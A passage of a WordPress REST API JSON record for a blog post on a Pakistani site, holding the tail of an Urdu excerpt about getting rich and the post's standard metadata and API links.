\u0622\u067e \u0627\u0633 \u0637\u0631\u062d \u06a9\u0627\u0645 \u06a9\u0631\u0646\u06d2 \u0633\u06d2 \u0627\u0645\u06cc\u0631 \u06c1\u0648 \u0633\u06a9\u06cc\u06ba \u06af\u06d2\u061f\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":51,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-50","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-physical-health-six-health-club"],"_links":{"self":[{"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=\/wp\/v2\/posts\/50","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=50"}],"version-history":[{"count":2,"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=\/wp\/v2\/posts\/50\/revisions"}],"predecessor-version":[{"id":125,"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=\/wp\/v2\/posts\/50\/revisions\/125"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=\/wp\/v2\/media\/51"}],"wp:attachment":[{"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=50"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=50"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.yselti.pk\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=50"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}